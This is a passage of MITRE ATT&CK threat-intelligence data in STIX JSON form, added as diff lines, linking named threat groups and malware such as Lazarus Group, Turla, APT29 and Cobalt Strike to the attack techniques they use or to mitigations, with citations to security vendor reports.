"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--79cd2ec8-068c-4a7a-8133-1855381d3bd3", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used the open source tool Essential NetTools to map the network and build a list of targets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3ef6a3fb-0d59-4ba5-b2d0-dc32d547b74f", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.740Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--36112f24-7814-4c75-b5b7-a1205bb28b68", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.618Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d26e2b47-e474-402d-b3ff-423a8b64a68e", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.467Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--523f4d23-13b0-4ec3-a544-2d0614617e04", + "source_ref": "course-of-action--f2dcee22-c275-405e-87fd-48630a19dfba", + "modified": "2019-07-24T19:22:39.347Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) stores the gathered data from the machine in .db files and .bmp files under four separate locations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ad77932b-9632-4816-b9af-db6257f5a7d4", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) has used compromised WordPress blogs as C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9420f3cb-bd87-4dae-b8a7-0f1a5a14da55", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.602Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a39bea46-92a8-49cf-ae3f-d78f4d3f23cf", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.907Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover running services and associated processes using the tasklist /svc command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--52c18ed1-91a5-4394-a4d0-f700c75bf3d9", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used WMI event filters to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.049Z", + "id": "relationship--337dc23f-d825-415d-886b-53c3457fbd56", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.148Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--05d3fd1d-6041-4395-906a-e3104a192e1c", + "source_ref": "course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b", + "modified": "2019-07-25T11:26:14.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can set its \"beacon\" payload to reach out to the C2 server on an arbitrary and random interval. In addition it will break large data sets into smaller chunks for exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--033d168d-8348-47ad-af48-d297dc0d1dbb", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.186Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) uses PowerShell for execution as well as PowerShell Empire to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a5888362-00f3-4c9e-98ee-048aee5169e1", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--0e0197fe-eca5-4d70-bf72-2d9092bc777b", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples contain a publicly available Web browser password recovery tool.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--069e82d5-89f2-4477-a1f5-115be8ab040a", + "source_ref": "course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04", + "modified": "2019-07-24T18:15:13.799Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--13984eec-6c33-4bab-a22c-5c061ddd6e44", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.431Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses HTTP and HTTPS to communicate with the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--518e99d1-d80e-4a5c-9b47-301da8b501e4", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.729Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.026Z", + "id": "relationship--c28d6f10-431f-493c-8abd-918240c5c970", + "source_ref": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67", + "modified": "2019-10-10T17:30:17.519Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware deletes files in various ways, including \"suicide scripts\" to delete malware binaries from the victim. [Lazarus Group](https://attack.mitre.org/groups/G0032) also uses secure file deletion to delete files from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.066Z", + "id": "relationship--979812c4-939e-4a7e-96b3-348028db10ce", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.716Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "source_name": "McAfee GhostSecret", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Elise](https://attack.mitre.org/software/S0081) executes net start after initial communication is made to the remote server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.745Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "[adbupd](https://attack.mitre.org/software/S0202) can use a WMI script to achieve persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--bc249532-826d-4bc2-8b03-43f284fe609f", + "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.054Z", + "id": "relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.210Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8f648221-38fe-4c81-b6d6-d41c398ff870", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.449Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[APT12](https://attack.mitre.org/groups/G0005) has used the [RIPTIDE](https://attack.mitre.org/software/S0003) RAT, which communicates over HTTP with a payload encrypted with RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c945e5f2-5622-46ce-8b35-468d41d2af46", + "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "source_name": "Moran 2014", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of watching the victim's screen.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.078Z", + "id": "relationship--8e69c855-db70-4b5e-866b-f9ce0b786156", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "modified": "2019-07-25T17:52:06.542Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fc4dd2b6-63a0-46fe-bfc4-90e58e5d1422", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.129Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware attempts to maintain persistence by saving itself in the Start menu folder or by adding a Registry Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.068Z", + "id": "relationship--6ab291a5-8061-4ad4-a6a7-07a6142e4c27", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.856Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) uses remote services such as VPN, Citrix, or OWA to persist in an environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--55e34506-746d-4895-928b-72c2e358161d", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.005Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[CallMe](https://attack.mitre.org/software/S0077) uses AES to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has targeted victims with spearphishing emails containing malicious Microsoft Word documents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--061841f1-5814-41e3-94b5-536b8a52d062", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": 